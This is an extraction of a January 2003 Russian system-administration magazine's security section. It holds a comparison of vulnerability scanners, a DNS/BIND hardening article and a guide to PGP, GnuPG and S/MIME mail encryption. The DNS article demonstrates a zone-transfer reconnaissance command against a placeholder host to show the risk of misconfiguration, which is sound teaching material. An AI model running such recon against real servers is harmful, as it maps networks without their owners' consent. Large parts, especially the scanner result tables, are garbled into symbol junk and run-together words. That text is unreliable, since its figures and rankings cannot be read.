������ ������� �� �� �� �� �

������ ������� �� �� �� �� �

������ �������� �� �� �� �� �

������ ���������������������������� � �� � � �

��$��� ������ �� �� �� �� �

�$����� ������ �� �� �� �� �

�$����� ������%�������������� � �� � � �

$$$��� ��� �� �� � �� �

��$��� �����&����'�($��

� �� � � �

�$$$$��� �����)���*��+$($��

� �� � �� �

�������� ��������������������� � �� � � �

�������� ������������������������ � �� � � �

�������� ��,���+�������������������������������� �����������

� �� � � �

�������� �-���.���+������������������ � �� � � �

����$��� ���������������������������������������������� �

� �� � � �

�������� �,����������������������� � �� � � �

�� ���� �"/0� � �� � � �

!������������ �� � � � �

������ ����������

�������� ������������������� ����������� � �� � � �

1�������������������������� � � �� � �

����� ����������� ��������23*%������ � � � �� �

Page 45: 002 Системный Администратор 01 2003

43№1(2), январь 2003

безопасность

��������������������� ��� ��� ��� ���� ���

����������������� � �� �� �� �� ��

����� ���� �� �� �� �� ��

����� ������������������������ � �� � � �

����� ���������������� ��� �� �� �� �� ��

����� �������������������� �� � � �� ��

����� ������������������������� �� �� � � �

����� ������ ������������������������ � �� � �� �

�$��� �����)*�!!*�($�

�� �� �� �� ��

�$��� ������������������������� � �� � � �

������ �"��� �� �� �� �� ��

�$$���� ����-��� �� � � � �

�$����� ��4����+��(�#����������������� � �� � � �

������� �)��*56� � �� �� �� ��

������� �)��"2/� � �� �� �� ��

!������������ �� � � � �

������ ����������

������� �)�*56������� �������������� ����������� � �� � � �

���������������������� ��� ��� ��� ���� ���

����������������� � �$� ��� �� ��� ��

���� ������ �� �� � �� ��

����� ������ �� �� � � �

���� ��������� �� �� � �� ��

����� ��������� �� � � � �

����� �������� �� �� �� �� ��

������ �������� �� �� � � �

����� �4��� �� �� � �� ��

������ �4��� �� �� � � �

����� ��������� �� �� � �� ��

������ ��������� �� �� � � �

������ �"��� �� �� �� �� ��

������ �7�8���� �� �� �� �� ��

������ �7�8����%������������ � � �� � �

������ �)*�2�� �� �� �� �� ��

�$$���� ����-��� �� � � � �

��$���� ������� �� � � � �

�$����� �"��� �� �� � �� �

!�40����� �� � � � �

��$$���� �������������������������� � �� � � �

������� ���� �� �� � � �

�$$$��� ����� � �� � �� �

!������������ �� � � � �

������ ����������

����� ����������� ��������23*%������ �� � � �� �

Page 46: 002 Системный Администратор 01 2003

44

безопасность

��� !"#$$� %!!� &!� '�� !!!� &(�

����������������� � � � ��� � ��� ��

����� ���� �� �� �� � ��

����� �������������������� �� � � �� ��

����� ������ �� �� �� �� ��

����� ����� �� �� �� �� ��

�$��� ����(!8)%9::/%*;"<;"�($� �� �� �� �� ��

����� ����(�!8)%9::/%*;"<;"�($� � � � �� �

�$��� �����%��������������� � � �� � � �

������ ���,���� �� �� �� �� ��

������ ���%���+������%������������������� � � �� � � �

�$$���� ����(�!8)%9::/%*;"<;"�($� � �� � �� �

�$$���� �����%��������������� � � �� � � �

�$�$��� ����(�&�+�=�,*��+���(�� � �� � �� �

�$�$��� �����%��������������������� � �� � � �

�$$���� ����-��� �� � � � �

!������������ �� � � � �

)��'*+,-�./0123�4�5� %!!� &!� '�� !!!� &(�

����������������� � ��� ��� ��� ��� �$�

����� ���� �� �� �� �� ��

����� ������������������������ �� �� � �� �

����� �������������������������������������� �� � � � ��

����� ������ �� �� �� �� ��

����� ������%��������������������������������� �� � � � �

����� ����� �� �� �� �� ��

����� ���������� ������ ���������� �������� � �� � � �

����� ��������������������� ���������� � �� � �� �

����� ����� �� �� � �� ��

����� ����������������� ������,���� �� � � �� �

��$��� ����� � � � �� ��

������ �7�8���� �� �� �� �� �

������ �7�8�������������������������� � � �� � �

������ ������� �� �� � �� �

������� ��'���� �� �� � �� �

������ ������� �� �� � �� �

������ �������� �� �� � �� �

�$����� ������ �� �� � � ��

�$$$��� ����(�0���������"���!"0� �� �� � �� �

�$�$��� ����(�>������(�(��?@��#A��?"���9�6���#A� �� �� � �� ��

�$�$��� ������������������������� � �� � �� �

�������� ����(�0���������"���!"0� � �� � �� �

!������������ �� � � � �

����� �!"#$#%�&#�'(� � � � � �

������� ��'������������������������ �� � � � �

������ ���������������������������� � �� � � �

6��789:2;"<2+0/9�=*92>2?2�@5$$A�BC!�)D4E� %!!� &!� '�� !!!� &(�

����������������� � �� �� �� �� ��

���� ������ �� �� � �� ��

����� ���� �� �� �� �� ��

����� ������ �� �� �� �� ��

����� �������� ������������������ �� � � � �

����� �������� �� �� �� �� ��

!���������-� �� � � � �

!������������ �� � � � �

Page 47: 002 Системный Администратор 01 2003

45№1(2), январь 2003

безопасность

(��F2?�G/3H8IJK�.8,3/I� %!!� &!� '�� !!!� &(�

����������������� � �� �� �� �� ��

����� ������ �� �� � � �

����� ���� �� �� �� �� ��

����� ������ �� �� �� �� ��

����� �!"#$#%�&#�'(�

����� ��������� �� � � � �

����� ������������������������ �� � � � �

����� ���� �� � � � �

������� ���� �� � � � �

� ����� ������ �� � � � �

��$���� ������� �� � � � �

6����23*� �� � � � �

серьезные потери, а красным – серьезные уязвимости,которые могут привести не только к серьезным поте-рям, но и к полному разрушению системы. Остальныестроки относятся к нейтральной информации о систе-ме, полученной сканерами.

На основе таблиц была проведена интегральная оцен-ка сканеров по следующей схеме:! серьезная уязвимость: +3 балла! уязвимость средней тяжести: +2 балла! информация: +1 балл! ложная серьезная уязвимость: -3 балла! ложная уязвимость средней тяжести: -2 балла! ложная информация: -1 балл

Результат представлен в таблице 2. Оставляя в сторо-не подробные комментарии по отдельным обнаруженнымуязвимостям, приведем окончательные данные в виде ди-аграммы.

Краткое резюмеISS Internet Scanner – наиболее титулованный представи-тель в семействе рассматриваемых продуктов – показалсебя как всегда на высоком уровне, заняв почетное вто-рое место.

LanGuard с натяжкой можно назвать сканером безо-пасности. Он очень хорошо работает с NetBios, выдаваясписок ресурсов, сервисов и пользователей. Эта способ-ность сильно отличает сканер от остальных, но вот имен-но только эта. На этом преимущества LanGuard заканчи-ваются.

ShadowSecurityScanner практически не отстал от ISS.И это при столь большой разнице в их цене. У программыпростой интерфейс, похожий на интерфейс сканера Retina.Подробные советы и рекомендации по устранению уяз-вимостей легко позволяют справиться с проблемами. Ми-нусы: небольшое количество распознаваемых уязвимос-тей, гораздо большее потребление системных ресурсовпри работе по сравнению с другими сканерами. X-Scan –бесплатный сканер, по возможностям похожий наLanGuard, но немного его превосходящий. Минусы: неочень читабельный интерфейс программы, отсутствиекаких-либо комментариев про найденные уязвимости.

XSpider оказался бесспорным лидером, сильно ото-рвавшись от конкурентов, особенно при поиске уязвимо-стей в Windows и Solaris. Есть у XSpider и существенныйминус: при выдаче списка уязвимостей выводится оченьмало пояснительной информации, что предполагает вы-сокий уровень знаний и профессионализма у специалис-та, использующего эту программу. Вероятно, это объяс-няется тем, что разработчик программы – российская ком-пания Positive Technologies, профессионально специали-зирующаяся на услугах по обеспечению безопасности ком-пьютерных сетей, делала продукт, исходя из своих внут-ренних потребностей, и не особенно заботилась о массо-вом пользователе. Правда, надо отдать ей должное, де-нег она за свой продукт не просит, что очень приятно, учи-тывая его отличное качество работы.

Мнение пользователейНедавно стали доступны данные опроса профессиональ-ных пользователей, проведенные сайтом по информаци-онной безопасности SecurityLab.RU, относительно популяр-ности сканеров безопасности (см. http://www.securitylab.ru/

�����������L��M ��N�� �O�N�������� ���������������� ������� ���������� ��������������

������� ��� ��)���� ����*���� ���� �+�,���

�� !""# $# %!# &# $# ��

�'()*+,#-./.%# -&# 0$1203# %%12-3# -012-3# ���

4'56)7 8)9:;5#<+5)()=)##

$# /# !# /# ��

>+9:'?,#-"""#�;*@;*#

$# %&12-3# &# A# ��

>+9:'?,#BC#C*'D;,,+'9)(#

%$12-3# %A# /# %"12-3# ��

E+9FG#H;:<)I#/.-# -!1203# -!12-3# J# -%# ���

K)=#L;I?'*M,#H'FI;*#

!12A3# !# 0# 0# ��

L��M�� -.� ��/� 0�� .�� ���

�O��� ����������PQQ������������������� �����

O��������������

�+�,��

���

����*���

��)���

��

� �� 0� 1� -� ��� ���

Page 48: 002 Системный Администратор 01 2003

46

безопасность

_Services/Vote.asp?Archive=109&Poll_ID=4 ). Нам показа-лось интересным сравнить результаты этого опроса с объек-тивными данными нашего анализа. Результаты опросаприведены в таблице:

���������/��

R���S����� �O��������S���� ��������������N�����N2�

B,6+:;*## /&N#

�O):'?�;PF*+I=�P)9;*## %0N#

L;,,F,#�;PF*+I=#�P)99;*## $N#

H;I+9)## JN#

Q9I;*9;I#�P)99;*#2Q��3## JN#

4=R;*4'6#�P)99;*## 0N#

8=6O'9#QQ## -N#

L��8## %N#

L1�I;)(IO## %N#

<)PM�O+(:## "N#

Перечень сканеров заметно отличается от протес-тированных в обзоре, но три ведущих по данным наше-го анализа представлены и здесь. Сканер от ISS усту-пил второе место (видимо, в силу своей высокой цены)ShadowSecurityScaner. На первом же месте осталсяXSpider, набрав больше очков, чем все конкуренты вме-сте взятые. Эти данные можно рассматривать как кос-венное подтверждение справедливости приведенныхвыше результатов анализа.

ЗаключениеПодчеркнем еще раз, что в данном материале проводи-лось сравнение только базовой функциональности ска-неров безопасности. За рамками обсуждения осталисьвопросы, связанные с интерфейсом, удобством работы идополнительными возможностями. Мы планируем обра-титься к ним в одном из следующих материалов.

25 октября 2002 года компания Positive Technologies(www.ptsecurity.ru) заключила договор о сотрудничествес владельцем портала SecurityLab.ru.

В рамках договора Positive Technologies взяла на себяфинансирование самого успешного информационно-ана-литического интернет-издания в области компьютернойбезопасности.

За первый год своего существования проектSecurityLab.ru уже доказал свой высокий уровень, став са-мым посещаемым интернет-изданием в своей области. Вто же время дальнейшее развитие проекта требует до-полнительных ресурсов и грамотного управления проек-том, тематика которого становится все более актуальнойв наше беспокойное время.

Осознавая это, компания Positive Technologies, спе-циализирующаяся на защите компьютерных сетей отвнешних (хакерских) атак, приняла решение оказать

поддержку проекту SecurityLab.ru.Positive Technologies окажет не только финансовую, но

и «идеологическую» поддержку проекту. «Работая с кли-ентами по защите их информационных систем, мы хоро-шо понимаем их проблемы и потребности. Задача предо-ставления оперативной и объективной информации о те-кущем состоянии отрасли компьютерной безопасности,постоянно возникающих угрозах и методах их нейтрали-зации является очень важной. Мы как коммерческая орга-низация заинтересованы в том, чтобы наши клиенты былимаксимально грамотны в нашей области и мы могли быговорить с ними на одном языке. Мы уверены, что проектSecurityLab.ru может успешно решать подобные задачи.Меняя лозунг сайта с «Защита и нападение в сети» на«Защита от нападения в сети», мы подчеркиваем основ-ное направление развития сайта в ближайшее время», –заявил директор Positive Technologies Евгений Киреев.

Ведущий российский порталпо информационной безопасностиполучает поддержку

Адрес проекта: http://www.securitylab.ruСайт компании Positive Technologies: http://www.ptsecurity.ruE-Mail: [email protected]

Page 49: 002 Системный Администратор 01 2003

© IGUSПосвящается жертвам терактов в Нью-Йорке 11 сентября, 2001 года.

Page 50: 002 Системный Администратор 01 2003

48

безопасность

По статистике (некоторых security teams) из100 % серверов – 63% работает с неправильнонастроенной службой DNS, в контексте сетевойбезопасности, конечно. Узнав столь печальную

статистику, я решил провести свойсобственный анализ.

СЕРГЕЙ РОПЧАН

НА ЗАЩИТУDNS

МИНИМУМ УСИЛИЙ

И вот что у меня вышло – из 100 серверов, выбранныхмною наугад из различных сегментов Интернета, 57 сер-веров оказались с неправильно настроенной службойимен.

Под словом «неправильно» я подразумеваю, напри-мер, получение файла пересылки (transfer) зоны (эта ин-формация является наиболее важной в аспекте безопас-ности DNS), на основе которого, как известно, можно по-строить схему внутренней сети исследуемой системы, таккак мы получаем полную информацию о инфраструктуревнутренней сети (имена хостов, ip-адреса, почтовые серве-ра, вышестоящие сервера имен, псевдонимы хостов и т. д.).Вот наглядный пример: выбираем цель, например,www.target.ru; как известно, для работы с DNS подходитnslookup, которая входит в состав большинства ОС. Итак:

и если в ответ мы получаем что-то похожее на:

(данная информация является файлом пересылки зоны),то это означает, что администратор системы не предпри-нял никаких усилий, хотя бы минимальных, (которые я опи-шу в этой статье) для защиты DNS то ли от незнания, то лиот неумения. Но это все неважно, так как речь в этой ста-тье будет идти не о причинах, побудивших или не побудив-ших администратора к такому безразличию, которое в своюочередь может привести к плачевным результатам.

Я хочу попытаться показать, как хотя бы «немного»,(если это слово можно считать корректным в контекстесетевой безопасности) защитить свой DNS-cервер. Я нив коем случае не претендую на полноту изложенной здесьинформации, так как этот вопрос требует намного бо-лее пристального внимания со стороны администрато-ров и выходит за пределы этой статьи; более детальнуюинформацию о защите DNS можно получить в списке до-полнительных материалов в конце этой статьи.

Итак, начнем. Прежде всего следует сказать, что всеописанное ниже будет относиться к настройке bind 8.x.x.Работать мы будем непосредственно с файлами кон-фигурации bind, а если быть точным, то в основном сnamed.conf (/etc/namedb/named.conf).

fenix# nslookupNameserver 192.145.45.1

>server www.target.com>ls -d target.com

[main.target.com]$ORIGIN target.com.@ 1D IN SOA ns root (

2001081109 ;serial8H ;refresh2H ;retry1W ;expiry1D ) ;minimum

1D IN NS ns1D IN NS r1.ns.net.1D IN NS r2.ns.com.1D IN MX 20 m1.ns.net1D IN MX 10 m2.ns.com1D IN MX 10 main

c4 1D IN A 192.5.62.78admin 1D IN A 192.5.62.74localhost 1D IN A 127.0.0.1mail 1D IN CNAME mainproxy 1D IN CNAME mainwww 1D IN CNAME mainc1 1D IN A 192.5.62.75c2 1D IN A 192.5.62.76c3 1D IN A 192.5.62.77ns 1D IN A 192.5.62.73ftp 1D IN CNAME main@ 1D IN SOA ns root (

2001081109 ;serial8H ;refresh2H ;retry1W ;expiry1D ) ;minimum

Page 51: 002 Системный Администратор 01 2003

49№1(2), январь 2003

безопасность

Первое, что необходимо сделать в named.conf – этоопределить список доступа acl, в который будут вхо-дить «доверенные» сети и хосты (так же я советую вклю-чить в этот список ip-адреса первичных DNS-серверов,которые делегировали на вас управление каким-либодоменом). Создаем секцию acl в самом начале файла(named.conf):

таким образом, «доверенными» являются localhost исеть (192.168.3.0), хосты которой пользуются услугаминашего cервера имен.

Далее в секцию options данного файла вносим:

Данные директивы определяют поведение bind поумолчанию (запросы разрешены только для «доверен-ных» хостов, трансфер зон запрещен, рекурсивные зап-росы разрешены только для «доверенных» хостов), этидирективы можно переопределить для каждой зоны всоответствующей секции zone. Тут я советую следоватьтакому «правилу»: зонам, для которых наш сервер именявляется вторичным (slave), необходимо явно разре-шить запросы с любым ip-адресом источника, для пер-вичных зон (master), кроме (0.0.127.in-addr.arpa), допол-нительно к этому необходимо разрешить трансфер зон-ных файлов, то есть вот что у нас выходит:

В том случае если ваш сервер является, например,сервером имен (единственным) для локальной сети(intranet), т. е. не является шлюзом во внешний мир, томожно настроить bind таким образом, чтобы он разре-шал запросы только с «доверенных» хостов. Для этого

необходимо в named.conf внести описание зоны bind:

и создать, собственно, файл описания зоны:

Доступ мы ограничили; я думаю, со мной многие со-гласятся, что «защита» без ведения логов – это не за-щита, так как лучше знать своего врага в лицо. Разра-ботчики bind’a позаботились и об этом: существует воз-можность ведения лог-файлов. Вот основные приемы(создаем новую секцию logging):

Вот и все. Как было сказано выше, эта информацияне является исчерпывающей по данному воросу, так какполная настройка системы защиты DNS строится на со-здании для службы DNS chrooted environment, созда-ние для нее sandbox’a и т. д., вплоть до защиты систе-мы в целом.

Рекомендуемые материалы:

1. М. Канавалова. Securing Bind.2. RFC по DNS.3. man bind.4. Criag H. Rowland. Securing Bind.

acl "trusted" { localhost; 192.168.3.0;

};

zone "example.com" { type master; file "primary/example.com";

#переопределение прав доступа, заданных по умолчанию в options allow-query { any; }; allow-transfer { localhost; 192.168.3.0; }; В };

zone "3.168.192.in-addr.arpa" { type slave; file "secondary/0.126.in-addr.arpa"; masters { 192.168.3.1; } ;

#переопределение прав доступа, заданных по умолчанию в options allow-query { any; }; allow-transfer { localhost; }; };

};

zone "bind" chaos {type master;file "primary/bind";allow-query { trusted };allow-transfer { none; };

};

$TTL 3600$ORIGIN bind.@ 1D CHAOS SOA localhost. root.localhost. {

1 ;serial3H ;refresh1H ;retry1W ;expire1D ) ;minimum

CHAOS NS localhost/;

logging {

# определяем канал по умолчанию для ведения# логов запросов к bind�y

channel default_ch {file "/var/log/named.log";serverity info; #уровень важности регистра

#ционной информацииprint-time yes; #регистрировать времяprint-category yes; #регистрировать категорию

};

channel security_ch {

#определяем канал для ведения логов по защитеfile "/var/log/security.log";serverity info;print-time yes;print-category yes;

};

##инициализация каналовcategory default { default_ch; };category security { security_ch; };

};

options { ...#определения прав доступа по умолчаниюallow-query { trusted }; ## разрешить запросы группе

## «доверенных» хостовallow-transfer { none }; ## запретить пересылку

## файла зоны кому-либоallow-recursion { trusted }; ## pазрешить рекурсивные

##запросы группе «доверенных» хостов ...};

Page 52: 002 Системный Администратор 01 2003

50

безопасность

ЗАЩИТИМЭЛЕКТРОННУЮ ПОЧТУ !

ВСЕВОЛОД СТАХОВ

Page 53: 002 Системный Администратор 01 2003

51№1(2), январь 2003

безопасность

Электронная почта – это одно из са-мых популярных средств общения вCети. Но при всей её привлекательно-сти в обычной схеме – это довольнонебезопасная система. Единственнойзащитой (да и то сомнительной) явля-ются пароли для почтовых ящиков, нопочтовые сообщения могут простоподменить или послать от вашего име-ни. Содержимое сообщений никак нешифруется и может быть прочитановсеми, кто имеет доступ к каналу пе-редачи данного сообщения. Но с не-давнего времени электронная почтапрактически достигла того же уровня,что и бумажная. Электронные сообще-ния можно подписывать, исключая воз-можность их изменения. Причём под-делать электронную цифровую под-пись намного сложнее технически, чемрукописную. В России (и во многихдругих странах) был даже принят за-кон, по которому электронная подписьприравнивается к рукописной (хотя вданных законах обязательно оговорёналгоритм подписи, что немного не-удобно). Алгоритмы асимметрическо-го шифрования позволяют также нетолько подписывать сообщения, но изашифровывать их от постороннеговзора. При этом обмен ключами упро-щён до минимума: намного удобнееобменяться публичными ключами че-рез Сеть (правда публичный ключ, пе-редаваемый через сеть, должен бытьподписан либо комплементарным сек-ретным ключом, либо неким доверен-ным ключом сторонней организации,но об этом далее), чем париться с сим-метрическим ключом и передавать егона дискетке, которую потом долго иупорно форматировать. Хотя асиммет-рическое шифрование медленнее, оноувеличивает размер данных, но еслидругой человек живёт в какой-нибудьпапуасии, а вы – в каком-нибудь Мур-манске, то обмен публичными ключа-ми – единственное решение для безо-пасной переписки. Кроме этого, чембольше людей знает ваш публичныйключ, тем лучше, так как они уже смо-гут проверять подписанные вами со-общения. Для подтверждения получе-ния именно того публичного ключа, ко-торый был отослан, можно использо-вать метод проверки хешей. Его идеятакова: после получения публичногоключа через Сеть, вы звоните отпра-вителю и просите его продиктовать

вам его публичный ключ (4096 бит),дружно идёте в известное место ивспоминаете о хешах. Можно простоузнать у него 32-х битный хеш и срав-нить с тем, что было получено. Так каку двух разных ключей не может бытьодинаковых хешей, можете быть сме-ло уверены, что ключ получен правиль-ный. Такая схема не оставляет ника-ких шансов злоумышленнику (кромебрутфорса или физического на вас на-падения с применением пыток), но не-сколько проблематична, поэтому ис-пользуется только в крайних случаях.Итак, хватит теории и перейдём кпрактике. Я расскажу в данной ста-тье о почтовом клиенте The Bat, сис-теме защиты данных PGP и GnuPG, атакже о сертификатах S/MIME.

Начнём с The Bat. Данный почто-вый клиент имеет отличные возмож-ности по защите вашей корреспон-денции. Во-первых, The Bat поддер-живает различные средства, позволя-ющие не передавать пароль почтово-го ящика в открытом виде, а переда-вать его MD5 хеш или производитьаутентификацию средствами NTLM(для Windows NT серверов), но, к со-жалению, безопасная аутентифика-ция POP и SMTP поддерживается да-леко не всеми серверами, да и самисообщения передаются в открытомвиде. Поэтому для защиты сообщенийиспользуются механизмы PGP и S/MIME. Первый из них – PGP (prettygood privacy) – служит для подписы-вания или шифрования почтовых со-общений (вложения не шифруются ине подписываются, для этого суще-ствует S/MIME). Данный механизмпросто добавляет текстовую ЭЦП втело сообщения. После этого модифи-кация письма приводит к тому, что под-пись становится невалидной (как я ужеговорил, подпись – это хеш-функция,и невозможно подобрать два письма содинаковым хешем (в идеале)). Шиф-рование сообщения осуществляетсяна основании генерируемого случай-ным образом и зашифрованного пуб-личным ключом получателя симметри-ческого ключа, что не очень увеличи-вает размер письма, особенно еслииспользуется сжатие сообщения. Фак-тически, при шифровании письма раз-мером в 500 байт получилось сообще-ние в ~800 байт, а при шифрованииписьма в 24101 байт – 11270 байт (вот

что сжатие животворящее делает)! Изнедостатков PGP я заметил лишь один:не умеет оно шифровать и/или подпи-сывать вложения (хотя это тоже легколечится). Но есть ещё один недоста-ток PGP – его небесплатность и то, чторазличные его версии рассчитаны дляопределённых стран (это связано с за-конами об ЭЦП, как я уже говорил). НоBat имеет встроенный алгоритм PGP,соответствующий rfc-1991, и что самоепримечательное, он умеет генериро-вать пары ключей встроенным алго-ритмом. Встроенное PGP используеталгоритм IDEA(128 бит) для симмет-рического шифрования сообщений иMD5 для составления ЭЦП. И что ещёя бы хотел отметить до перехода к не-посредственно описанию всего выше-сказанного, это что The Bat умеет ра-ботать со многими версиями PGP,включая GnuPG(!), которые должныбыть установлены, как внешние мо-дули; для выбора версии PGP зайди-те в меню «Инструменты-> OpenPGP-> Выбор версии PGP». Теперь я быхотел подробно описать процесс ра-боты с ключами PGP (для встроеннойверсии PGP):! Для начала создадим пару ключей:

«Инструменты-> OpenPGP-> Уп-равление ключами», нажать<Ctrl+N> и далее следовать инст-рукциям по созданию ключей (раз-мер ключа желательно указыватьне короче 1024 бит, а лучше, намой взгляд, не менее 2048 бит).

! Передадим своим собеседникамсвой публичный ключ, подписан-ный секретным (этим мы гаранти-руем, что ключ был неизменен входе передачи через Сеть). Для ко-пирования публичного ключа в бу-фер обмена заходим в управлениеключами, выбираем нужную паруключей и из выпрыгивающегоменю выбираем «копировать».После этого вставляем ключ в со-общение и в редакторе ставим га-лочки напротив следующих пунк-тов меню: «Защита -> Подписатьперед отправкой» и «Защита ->Авто-PGP». При помещении в пап-ку «Исходящие» будет запрошенпароль секретного ключа и пись-мо будет подписано.

! Получатель импортирует ваш пуб-личный ключ и с его помощью про-веряет ЭЦП вашего сообщения.

Page 54: 002 Системный Администратор 01 2003

52

безопасность

Если подпись верна, то ключ так-же валиден, иначе ваш публичныйключ был изменён и получательдолжен его немедленно удалить!Импортировать ключ совсем про-сто: просто выберите письмо, со-держащее ключ, и в менюOpenPGP надавите «Импортиро-вать ключ OpenPGP» (при импор-те учтите, что должна быть выбра-на та версия PGP, в которой былсоздан данный публичный ключ).

! получатель в свою очередь присы-лает вам свой публичный ключ,подготовленный таким же обра-зом, и у вас оказывается пара клю-чей, которую можно использоватькак для подписывания сообщений,так и для шифрования. Можно так-же проверить хеш публичного клю-ча, если вы считаете, что кто-то неспит ночами, чтобы поиметь вашисекретные данные.

Для проверки подписи необходи-мо нажать клавиши <CTRL+SHIFT+C>, а для расшифровки – <CTRL+SHIFT+D>, при этом учтите, что дляпроверки подписи вам необходимоиметь публичный ключ отправителя,а для расшифровки – свой секретныйключ. И зашифровав сообщение пуб-личным ключом получателя, вы несможете расшифровать его сами, таккак у вас нет его секретного ключа!Все сообщения PGP имеют схожийформат и представляют из себя про-стой текст:

Публичный ключ:

Электронная цифровая подпись:

Зашифрованное сообщение:

Поэтому все операции с PGP яв-ляются достаточно прозрачными,так как сама реализация PGP опре-деляет из сообщения всю необходи-мую информацию. Для разных вер-сий PGP различается только полеVersion: и поле Hash: в ЭЦП (выборалгоритма хеширования, обычноSHA1 (160 бит) или MD5 (128 бит)).

Выбор версии PGP должен исхо-дить из того, с какими людьми выпреимущественно общаетесь. Дообмена ключами необходимо узнатьу собеседника, какой версией PGPрасполагает он. Думаю, что для TheBat идеально использование встро-енного алгоритма PGP а для *nix ма-шин обычно используется GnuPG.Вот о нём-то я и хочу сказать паруслов.

GnuPG разрабатывался в проти-вовес коммерческому PGP, и, надосказать, получился инструмент чтонадо. GnuPG (www.gnupg.org) пред-ставляет из себя утилиту команднойстроки, обладающей кучей парамет-ров и навороченных фич. Я не будуподробно рассказывать о данной си-стеме, так как на www.gnupg.orgесть линк на русскую доку, в кото-

рой всё отлично разжевано. Напишудля лентяев основные принципы ис-пользования gnupg.! gpg —help – получить список всех

режимов gnupg (думаю дальшеуже просто писать не о чем);

! gpg —gen-key – генерация парыключей в интерактивном режиме;

! gpg -s -o out_file in_file – подпи-сать(-s) файл in_file ключом поумолчанию о сохранить подпи-санный файл в out_file;

! gpg —verify signed_file – прове-рить ЭЦП файла signed_file;

! gpg —export – экспортироватьвсе публичные ключи (вывод вstdout) во внутреннем формате;

! gpg —export —armor – экспорти-ровать все публичные ключи втекстовом формате: ——BEGINPGP PUBLIC KEY BLOCK——Version: GnuPG v1.2.1(Linux),вывод также в stdout;

! gpg —import filenames – импорти-ровать публичные ключи из пе-речисленных файлов;

! gpg -e -r [email protected] filename– зашифровать сообщение file-name, используя публичный ключ[email protected] (он должен бытьимпортирован предыдущей ко-мандой). Ключ -e можно комби-нировать с ключом -s, тогда за-шифрованное сообщение будеттакже подписано;

! gpg —fingerprint <username> – вы-водит md5 хеш ключа username(или хеши всех известных клю-чей, если username не определе-но).

Ещё отмечу, что при экспорте пуб-личного ключа GnuPG генерирует

Для получения «мыльного» сертификата от доверенной организации можно зайти на узел www.thawte.com и запросить бесплатный«мыльный» сертификат(personal freemail certificate). Далее вас попросят пройти здоровую процедуру регистрации, где вы должныввести свои личные данные. В конце регистрации на ваш e-mail будет послан сабж(mail ping) и вы будете должны пройти по указаннойссылке и ввести две строки, высланные в сабже. После всей этой мороки у вас будет зарегистрированный профиль на сайте(туда выпопадаете автоматически после завершения регистрации), где вы можете запросить сертификат. Учтите, что процедура получениясертификата для разных броузеров различна и вам необходимо выбрать один из поддерживаемых(IE, Netscape, Opera), я бы посоветовалиспользовать IE, т.к. полученный ослом сертификат помещается в хранилище сертификатов Windows. В ходе получения сертификата вначале вам будет передан публичный сертификат thawte freemail, который вам нужно отнести к доверенным(просто ответьте положитель-но на вопрос о занесении в Trusted root CA). Далее по мылу будет прислано сообщение об успешной генерации сертификата и опять женадо пройти по ссылке(тем же броузером с той же машины!). Получение сертификата сопровождается кучей подтверждений, но в видекомпенсации за мороку будет получен персональный сертификат, подписанный thawte freemail сертификатом. Данный сертификат будетпомещён в хранилище винды, и его уже можно будет использовать в Outlook[ Express]е для подписывания и расшифровывания сообщений.Для экспорта данного сертификата в файл заходим в аутглюк, сервис->параметры->безопасность->цифровые удостоверения. Там находимнаш сертификат (на вкладке «Личные») и экспортируем его в файл. У меня получилось импортировать этот файл в The Bat и в Mozilla,а также в Оперу, думаю, с этим проблем не возникнет. Замечу, что The Bat нужно сделать ещё пару вещей. The Bat доверять такомусертификату не будет, т.к. подписан он неизвестным ключом. Для устранения этой проблемы делаем следующее: в окне удостоверенийOutlook заходим на вкладку «Промежуточные центры сертификации», находим там два сертификата: Thawte Personal Freemail CA иPersonal Freemail RSA 2000.x.x. Экспортируем эти сертификаты в файлы, затем создаём в адресной книге вампира Trusted Root CA новыйэлемент и называем его как-нибудь Thawte personal freemail. Заходим на страницу сертификатов и импортируем эти два сертификта изOutlook. Таким образом, мы внесли сертификаты Thawte Freemail к доверенным. После этого наш персональный сертификат будетдействительным, и его можно смело использовать(можете посмотреть путь сертификации: он должен быть примерно таким Thawte FreemailCA -> Personal freemail RSA 2000.x.x -> Thawte Freemail Member).

��BEGIN PGP PUBLIC KEY BLOCK��Version: 2.6mQEPAz2wAdcAAAEIAMbtzluSULSrU3X1qvf9QBeY+VCI7Pe/Wi0eSun8g7do9V0q ....��END PGP PUBLIC KEY BLOCK��

��BEGIN PGP SIGNED MESSAGE��Hash: MD5 ТЕКСТ_СООБЩЕНИЯ��BEGIN PGP SIGNATURE��Version: 2.6iQEVAwUAPcbEbnuMbS82Jh/FAQFWvwf/aJEiMj/mUPlHzNLIelDMwJZMxK+9UuBL��END PGP SIGNATURE��

��BEGIN PGP MESSAGE��Version: 2.6lIwRIouHmq+nJjsBBEA7FCH1rS6C/hfi4J1MHN+q/EycFltExRTqjIcOtoiDYNvJ��END PGP MESSAGE��

Page 55: 002 Системный Администратор 01 2003

53№1(2), январь 2003

безопасность

подписанный комплементарнымсекретным ключом (self-signed publickey) публичный ключ и не импорти-рует ключей, которые не являютсяself-signed. Кроме этого, если не ука-зать gnupg опцию —armor (для лю-бых операций), то происходит бинар-ное шифрование/подписывание иэкспорт (в каком-то встроенномформате), что не подходит для пе-ресылки в теле письма или черезвеб. Поэтому в таких случаях всегдауказывайте опцию —armor, что при-нудит gnupg работать с текстовымформатом PGP (стандартный). Имяполучателя (-r) указывает gnupg,какой публичный ключ ей использо-вать. Имя может быть в несколькихформатах: адрес e-mail, полное имя,идентификатор ключа (краткий илиполный), шаблон поиска.

Ну вот, с PGP покончили. Теперья бы хотел рассказать об S/MIME.Это формат, который используетсямногими почтовыми приложениями(среди них The Bat, Mozi l laMessenger, Outlook). S/MIME позво-ляет шифровать и подписывать по-чтовые сообщения целиком (т.е.включая вложения) при помощи сер-тификатов. Сертификат – это набориз секретного ключа (необязатель-ный компонент, имеет смысл толь-ко для ваших собственных сертифи-катов, шифруется паролем – а какже без этого) и публичного ключа,подписанного данным секретным(уф, короче, self-signed). Поэтомупри подписи своего сообщенияS/MIME сертификатом нет необходи-мости передавать свой публичныйключ, так как он уже есть в ЭЦП. Вотдва удобства, предоставляемыеS/MIME, а также удобно то, чтоS/MIME интегрирован со многимипочтовыми клиентами. Вот так при-мерно выглядит заголовок S/MIMEподписанного письма:

В подписи содержится публич-ный ключ, которым эта подпись про-веряется. Данный сертификат такжеможет быть сразу же импортирован.

